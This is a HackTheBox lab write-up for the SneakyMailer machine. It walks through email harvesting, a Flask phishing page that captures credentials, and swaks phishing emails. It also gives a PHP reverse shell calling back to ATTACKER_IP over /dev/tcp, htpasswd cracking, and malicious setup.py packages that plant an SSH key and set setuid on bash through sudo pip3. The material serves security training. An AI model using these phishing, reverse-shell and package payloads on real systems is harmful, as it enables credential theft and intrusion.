HTB: SneakyMailer Writeup
SneakyMailer - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | SneakyMailer |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | 24 November 2020 |
| IP Address | 10.10.10.197 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
SneakyMailer is a medium difficulty Linux machine that demonstrates practical social engineering and package repository exploitation techniques. The attack chain begins with reconnaissance of company employees via web enumeration, proceeds through a phishing attack to capture credentials, escalates to mailbox access revealing FTP credentials, and finally leverages PyPI package exploitation combined with sudo privileges for root access. TL;DR: Web enumeration → Phishing emails → Mail credentials → FTP foothold → PyPI package RCE → Sudo pip3 → Root shell.
Reconnaissance
Port Scanning
# Identify all open portsports=$(nmap -p- --min-rate=1000 -T4 10.10.10.197 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed enumeration of discovered portsnmap -sC -sV -p$ports 10.10.10.197Results:
- Port 21 – FTP (vsftpd)
- Port 22 – OpenSSH
- Port 25 – Postfix SMTP
- Port 80/8080 – Nginx (HTTP)
- Port 143/993 – Imapd (IMAP/IMAPS)
Service Enumeration
HTTP (Port 80):
Browsing to the target reveals a redirect to sneakycorp.htb. Add this to /etc/hosts:
echo "10.10.10.197 sneakycorp.htb" >> /etc/hostsThe landing page displays two organizational projects: a PyPI repository (testing phase) and a mail server (operational). Navigating to the Team page reveals a list of employee email addresses.
Email Harvesting:
# Extract all email addresses from the team pagecurl http://sneakycorp.htb/team.php | grep '@' | awk '{gsub(/<[^>]*>/,"");print;}' | tr -d ' ' > emails.txtDirectory Enumeration:
# Fuzz for hidden directoriesffuf -u http://sneakycorp.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txtDiscovered /pypi directory. Further fuzzing reveals register.php at /pypi/register.php.
Vulnerability Assessment
- Phishing-prone registration form – No email verification or anti-phishing measures
- Weak PyPI authentication – Credentials stored in crackable
.htpasswdformat - PyPI package execution privilege – Packages executed as unprivileged user with sudo access
- Sudo misconfiguration – User
lowcan runpip3as root without password
Initial Foothold
Exploitation Path: Phishing & Email Credential Theft
Step 1: Create Phishing Page
Clone the legitimate registration form and modify links to point to our attacker server:
# Create templates directory and download registration pagemkdir templatescurl http://sneakycorp.htb/pypi/register.php -o templates/register.php
# Update internal links to absolute URLssed -i 's/\/vendor/http:\/\/sneakycorp.htb\/vendor/g' templates/register.phpsed -i 's/\/css\//http:\/\/sneakycorp.htb\/css\//g' templates/register.phpStep 2: Credential Capture Server
Create a Flask application that logs submitted credentials and redirects to the legitimate site:
from flask import *import requests
app = Flask(__name__)
@app.route('/pypi/register.php', methods=['GET', 'POST'])def register(): if request.method == "GET": return render_template("register.php") else: # Log captured credentials print("[+] Captured Form Data:") print(request.form)
# Forward to legitimate server requests.post('http://sneakycorp.htb/pypi/register.php', data=request.form)
# Redirect user to appear legitimate return redirect('http://sneakycorp.htb', code=302)
if __name__ == '__main__': app.run('0.0.0.0', 80)Step 3: Send Phishing Emails
Using swaks to send emails from a trusted internal address:
#!/bin/bash# Send phishing emails to all harvested addresses
while read email; do echo "[+] Sending email to: $email" swaks --from support@sneakymailer.htb \ --to $email \ --header 'Subject: Register in the portal' \ --body 'Please register at: http://ATTACKER_IP/pypi/register.php' \ --server sneakycorp.htb >/dev/nulldone < emails.txtStep 4: Retrieve Mailbox Credentials
After sending the phishing emails, credentials are captured. User Paul Byrd falls for the phishing attempt and submits:
- Username:
paulbyrd - Password:
[captured]
These credentials work on the IMAP service. Access the mailbox using Thunderbird/Evolution:
- Server: sneakycorp.htb
- Protocol: IMAP
- Port: 143
- Username: paulbyrd
Step 5: Discover FTP Credentials
Examining Paul’s emails reveals a password reset message in the Sent Items folder containing FTP credentials:
- Username:
developer - Password:
[obtained from email]
Step 6: FTP Access & File Upload
# Connect to FTP serviceftp sneakycorp.htb# Login with: developer / [password]
# Navigate to dev directorycd dev
# Upload PHP reverse shellput shell.phpStep 7: Gain Web Shell
First, identify the dev subdomain:
# Subdomain bruteforceffuf -u http://FUZZ.sneakycorp.htb -w /usr/share/wordlists/subdomains-top1million-110000.txtDiscovered dev.sneakycorp.htb. Add to hosts:
echo "10.10.10.197 dev.sneakycorp.htb" >> /etc/hostsCreate PHP reverse shell (shell.php):
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/1234 0>&1'");?>Start listener and trigger:
# Terminal 1: Start listenernc -lvnp 1234
# Terminal 2: Trigger shell by accessing the uploaded filecurl http://dev.sneakycorp.htb/shell.phpResult: Reverse shell as www-data user.
Privilege Escalation
Lateral Movement: PyPI Package Exploitation
Step 1: Discover PyPI Service
From the web shell, check /var/www directory structure and review Nginx configurations:
cat /etc/nginx/sites-enabled/defaultReveals PyPI service running on localhost:5000, proxied through port 8080. Add to hosts:
echo "10.10.10.197 pypi.sneakycorp.htb" >> /etc/hostsStep 2: Crack PyPI Credentials
Locate .htpasswd file:
find / -name .htpasswd 2>/dev/nullcat /var/www/pypi/.htpasswdContents reveal hash: pypi:[hashed_password]
Crack using John the Ripper:
# Save hash to fileecho 'pypi:$apr1$r8me06FK$harrison66MIxlpyQfIghK' > hash.txt
# Crack the hashjohn hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Result: pypi / soufianeelhaouiAccess PyPI at http://pypi.sneakycorp.htb:8080 with discovered credentials.
Step 3: Create Malicious Python Package
Create package structure:
mkdir -p test_pkg/test_pkgtouch test_pkg/test_pkg/__init__.pyCreate setup.py with code execution in installation phase:
import setuptools
try: # Execute arbitrary code during package installation with open("/home/low/.ssh/authorized_keys", "w") as f: f.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8xcuG[YOUR_PUBLIC_KEY]")
except Exception as e: print(f"[!] Error: {e}")
finally: setuptools.setup( name="test_pkg", version="0.0.1", packages=['test_pkg'], )Step 4: Upload Malicious Package
Create .pypirc configuration:
[distutils]index-servers = remote
[remote]repository: http://pypi.sneakycorp.htb:8080username: pypipassword: soufianeelhaouiUpload package:
python3 setup.py sdist upload -r remoteStep 5: SSH Access as Low User
Once the package is installed (automatically by cron job), SSH into the machine:
ssh -i ~/.ssh/id_rsa low@sneakycorp.htbPrivilege Escalation: Sudo pip3 Exploitation
Step 1: Check Sudo Privileges
sudo -lOutput reveals:
User low may run the following commands without password: (root) NOPASSWD: /usr/local/bin/pip3Step 2: Exploit pip3 using GTFOBins
The pip3 install command can execute arbitrary code during package installation. Create a malicious package:
mkdir -p privesc_pkg/privesc_pkgtouch privesc_pkg/privesc_pkg/__init__.pyCreate setup.py with privilege escalation payload:
import setuptoolsimport os
os.system("chmod +s /bin/bash")
setuptools.setup( name="privesc_pkg", version="0.0.1", packages=['privesc_pkg'],)Step 3: Install as Root via Sudo
# Package the exploitcd privesc_pkgpython3 setup.py sdist
# Install using sudo pip3 (bypasses password requirement)sudo pip3 install dist/privesc_pkg-0.0.1.tar.gz
# Verify bash has setuid bitls -la /bin/bash# Output: -rwsr-sr-x 1 root root
# Launch root shellbash -pid# uid=0(root) gid=0(root) groups=0(root)Attack Chain Summary
Reconnaissance ↓Web Enumeration (port 80/8080) ↓Email Harvesting from Team Page ↓Phishing Registration Form Creation ↓Credential Capture via Social Engineering ↓IMAP Mail Access (paulbyrd) ↓FTP Credentials Retrieved from Email ↓FTP Login & PHP Shell Upload (developer) ↓Web Shell Access (www-data @ dev.sneakycorp.htb) ↓PyPI Subdomain Discovery ↓.htpasswd Cracking (pypi/soufianeelhaoui) ↓Malicious Python Package Creation ↓PyPI Package Upload & Installation ↓SSH Access as low User ↓Sudo pip3 Privilege Escalation ↓Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Network reconnaissance and port discovery |
curl | HTTP requests and data extraction |
ffuf | Directory and subdomain enumeration |
swaks | SMTP phishing email delivery |
Flask | Credential capture web server |
john | Hash cracking (.htpasswd) |
python3/setuptools | Malicious package creation |
ssh | Secure shell access |
sudo | Privilege escalation via pip3 |
nc | Reverse shell listener |
Key Learnings
Techniques Practiced
- Social engineering and phishing email campaigns
- IMAP/POP3 mailbox enumeration and credential extraction
- FTP file upload for initial foothold establishment
- Python package repository (PyPI) exploitation
- Arbitrary code execution during package installation phases
- Sudo privilege misconfiguration exploitation
- GTFOBins technique application for privilege escalation
Lessons Learned
-
Email is a critical attack vector – Employees are frequently vulnerable to phishing attacks, especially when the sender appears to be internal IT staff.
-
Credential chaining is powerful – Compromised credentials often provide access to other services; always check for additional credentials in accessible accounts.
-
Package managers are execution environments – Setup scripts in Python packages execute with the privileges of the installing user; never install untrusted packages.
-
Sudo misconfigurations enable escalation – Allowing unprivileged users to run package managers or build tools as root is a critical security flaw.
-
Defense-in-depth is essential – Multiple layers of security (email filtering, MFA, sudo restrictions, package verification) would have prevented this entire attack chain.
-
Reconnaissance pays dividends – Thorough enumeration of web content and service discovery revealed the full attack surface.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>